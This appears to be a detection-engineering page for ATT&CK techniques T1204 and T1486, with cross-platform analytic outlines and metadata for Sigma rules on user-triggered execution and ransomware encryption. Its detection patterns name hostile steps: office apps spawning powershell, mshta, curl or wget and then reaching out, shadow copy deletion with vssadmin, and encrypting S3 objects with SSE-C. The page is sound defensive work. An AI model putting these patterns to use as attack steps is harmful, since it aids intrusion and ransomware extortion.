AN1314 WindowsCause→effect chain: (1) User-facing app (Office/PDF/archiver/browser) records an open/click or abnormal event, then (2) a downloaded file is created in a user-writable path and/or decompressed, (3) the parent user app spawns a living-off-the-land binary (e.g., powershell/cmd/mshta/rundll32/msiexec/wscript/expand/zip) or installer, and (4) immediate outbound HTTP(S)/DNS/SMB from the same lineage.Tunable:
TimeWindowHighRiskParentsHighRiskChildrenUserPathsEgressAllowListAN1315 LinuxCause→effect chain: (1) User app/browser/archiver logs an open/click or abnormal exit, (2) new executable/script/archive extracted into $HOME/Downloads, /tmp, or ~/.cache, (3) parent app spawns shell/interpreter (bash/sh/python/node/curl/wget) or desktop file, and (4) new outbound connection(s) from the child lineage.linux:syslogopened document|clicked link|segfault|abnormal termination|sandbox→ DC0038 Application Log ContentTunable:TimeWindowUserPathsHighRiskChildrenPkgUpdatersAN1316 macOSCause→effect chain: (1) unified logs show application open/click or crash for Safari/Chrome/Office/Preview/archiver, (2) file write/extraction into ~/Downloads, /private/var/folders/* or ~/Library, (3) parent app spawns osascript/bash/zsh/curl/python or opens a quarantined app with Gatekeeper prompts, (4) network egress from child.macos:unifiedlogopened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine→ DC0038 Application Log ContentTunable:TimeWindowHighRiskChildrenQuarantineSignalsAN1317 ContainersCause→effect chain in CI/dev desktops: (1) user triggers container run/pull after opening a doc/link/script, (2) newly created image/container uses unexpected external registry or entrypoint, (3) container starts and immediately egresses to suspicious destinations.docker:eventscreated,started: new container from untrusted registry or unexpected entrypoint→ DC0072 Container CreationTunable:TrustedRegistriesAllowedEntrypointsTimeWindowAN1318 IaaSCause→effect chain in cloud consoles: (1) user clicks link then invokes instance/image creation via API, (2) instance/image originates from external AMI or unknown image, (3) instance immediately egresses or retrieves payloads.Tunable:ApprovedImagesUserContextTimeWindow
Sigma rules tagged attack.t1204 (10)
Author: Micah Babinski
· 2023-08-21 · logsource: product=windows category=process_creation · 1412aa78-a24c-4abd-83df-767dfb2c5bbe
Detects possible execution via LNK file accessed on a WebDAV server.
Author: Tim Rauch (rule), Elastic (idea)
· 2022-10-17 · logsource: product=macos category=process_creation · 234dc5df-40b5-49d1-bf53-0d44ce778eca
Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.
Author: Sreeman
· 2020-03-13 (modified 2022-04-14) · logsource: product=windows category=process_creation · 24de4f3b-804c-4165-b442-5a06a2302c7e
The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.
Author: Florian Roth (Nextron Systems)
· 2020-08-26 (modified 2025-10-19) · logsource: product=windows category=process_creation · 5325945e-f1f0-406e-97b8-65104d393fff
Detects specific process characteristics of Snatch ransomware word document droppers
Author: Josh Nickels, Michael Taggart
· 2025-05-22 · logsource: product=windows category=file_event · 6c0ce3b6-85e2-49d4-9c3f-6e008ce9796e
Detects Deno writing a file from a direct HTTP(s) call and writing to the appdata folder or bringing it's own malicious DLL.
This behavior may indicate an attempt to execute remotely hosted, potentially malicious files through deno.
Author: Tim Rauch (rule), Elastic (idea)
· 2022-10-21 (modified 2022-12-28) · logsource: product=macos category=process_creation · 6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4
Detects when the macOS Script Editor utility spawns an unusual child process.
Author: Florian Roth (Nextron Systems)
· 2021-05-14 · logsource: product=windows category=process_creation · 965fff6c-1d7e-4e25-91fd-cdccd75f7d2c
Detects DarkSide Ransomware and helpers
Author: The DFIR Report
· 2025-01-23 · logsource: product=windows category=file_event · b447f7de-1e53-4cbf-bfb4-f1f6d0b04e4e
Detects the creation of a file with a suspicious extension in the public folder, which could indicate potential malicious activity.
Author: Markus Neis, @markus_neis, Florian Roth
· 2021-07-04 (modified 2023-06-12) · logsource: product=windows category=registry_event · ba6b9e43-1d45-4d3c-a504-1043a64c8469
Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527
Author: Florian Roth (Nextron Systems), Arnim Rupp
· 2021-08-16 (modified 2026-06-15) · logsource: category=antivirus · fa0c05b6-8ad3-468d-8231-c1cbccb64fba
Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool.
This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
T1486 Data Encrypted for Impact secondary impact
- DET0215 Detection of Multi-Platform File Encryption for Impact
AN0602 WindowsHigh-frequency file write operations using uncommon extensions, followed by ransom note creation, registry tampering, or shadow copy deletion. Often uses CLI tools like vssadmin, wbadmin, cipher, or PowerShell.Tunable:
FileExtensionTargetFolderTimeWindowCommandLineAN0603 LinuxEncryption via custom or open-source tools (e.g., openssl, gpg, aescrypt) recursively targeting user or system directories. Also includes overwrite of existing data and ransom note drops.Tunable:FilenamePatternSyscallBurstRateDirectoryTargetedAN0604 macOSUserland or kernel-level ransomware encrypting user files (Documents, Desktop) usingsrm,gpg, or compiled payloads. Often correlated with ransom note creation in multiple directories.macos:unifiedlogfile encrypted|new file with .encrypted extension|disk write burst→ DC0061 File ModificationTunable:ExtensionPatternVolumeTargetedAN0605 ESXiRansomware encrypts .vmdk, .vmx, .log, or VM config files in VMFS datastores. May rename to .locked or delete/overwrite with encrypted versions. Often correlates with shell commands run throughdcui, SSH, or vSphere.Tunable:FileTypeUserContextAN0606 IaaSEncryption of cloud storage objects (e.g., S3 buckets) via Server-Side Encryption (SSE-C) or by replacing objects with encrypted variants. May include API patterns like PutObject with SSE-C headers.Tunable:SSEHeaderAffectedBucketUserAgent
Sigma rules tagged attack.t1486 (16)
Author: frack113
· 2021-11-15 (modified 2022-09-09) · logsource: product=windows category=process_creation · 0e0255bf-2548-47b8-9582-c0955c9283f5
Detects suspicious addition to BitLocker related registry keys via the reg.exe utility
Author: toopricey
· 2025-10-18 · logsource: product=aws service=cloudtrail · 1279262f-1464-422f-ac0d-5b545320c526
Detects the import or deletion of key material in AWS KMS, which can be used as part of ransomware attacks. This activity is uncommon and provides a high certainty signal.
Author: Sittikorn S
· 2021-06-29 (modified 2021-08-20) · logsource: product=aws service=cloudtrail · 16124c2d-e40b-4fcc-8f2c-5ab7870a2223
Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.
Disabling default encryption does not change the encryption status of your existing volumes.
Author: Saiprashanth Pulisetti ( @Prashanthblogs)
· 2025-08-08 · logsource: product=windows category=file_event · 2c76a22b-702d-48fd-8fa9-e41e2fe203b3
Detects the creation of files with the ".funksec" extension, which is appended to encrypted files by the FunkLocker ransomware.
Author: Luc Génaux
· 2023-11-28 (modified 2026-07-28) · logsource: product=windows category=image_load · 3669afd2-9891-4534-a626-e5cf03810a61
Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process.
This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows.
It could also be used for anti-analysis purposes by shut downing specific processes.
Author: Florian Roth (Nextron Systems), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro
· 2019-01-16 (modified 2025-10-18) · logsource: product=windows category=process_creation · 41d40bff-377a-43e2-8e1b-2e543069e079
Detects WannaCry ransomware activity
Author: Florian Roth (Nextron Systems), Arnim Rupp
· 2022-05-12 (modified 2026-06-15) · logsource: category=antivirus · 4c6ca276-d4d0-4a8c-9e4c-d69832f8671f
Detects a highly relevant Antivirus alert that reports ransomware.
This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
Author: frack113
· 2021-10-12 (modified 2023-02-13) · logsource: product=windows category=process_creation · 689308fc-cfba-4f72-9897-796c1dc61487
Detects a specific command used by the Conti ransomware group
Author: Vasiliy Burov, oscd.community
· 2020-10-18 (modified 2023-02-03) · logsource: product=windows category=process_creation · 74db3488-fd28-480a-95aa-b7af626de068
Detects LockerGoga ransomware activity via specific command line.
Author: frack113, Nasreddine Bencherchali (Nextron Systems)
· 2023-08-06 (modified 2023-11-10) · logsource: product=windows category=process_creation · 77df53a5-1d78-4f32-bc5a-0e7465bd8f41
Detects the execution of "gpg.exe" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.
Author: Luc Génaux
· 2023-11-28 · logsource: product=windows category=image_load · b48492dc-c5ef-4572-8dff-32bc241c15c8
Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process.
This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows.
It could also be used for anti-analysis purposes by shut downing specific processes.
Author: austinsonger
· 2021-08-19 (modified 2022-10-09) · logsource: product=m365 service=threat_management · bd132164-884a-48f1-aa2d-c6d646b04c69
Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.
Author: frack113
· 2021-12-26 (modified 2026-01-09) · logsource: product=windows category=file_event · caf02a0a-1e1c-4552-9b48-5e070bd88d11
Detects creation of .txt files in user desktop folders via cmd.exe. This behavior may indicate ransomware deploying ransom notes, but can also occur during legitimate administrative tasks.
Analysts should investigate for suspicious filenames (e.g., "RANSOM", "DECRYPT", "READ_ME"), bulk file creation patterns, or concurrent encryption activity to determine if this is part of a ransomware attack.
Author: frack113
· 2022-07-16 (modified 2023-11-11) · logsource: product=windows category=file_rename · e3f673b3-65d1-4d80-9146-466f8b63fa99
Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as ".jpg.crypted", ".docx.locky", etc.
Author: Nasreddine Bencherchali (Nextron Systems), frack113
· 2023-08-09 · logsource: product=windows category=process_creation · ec0722a3-eb5c-4a56-8ab2-bf6f20708592
Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data.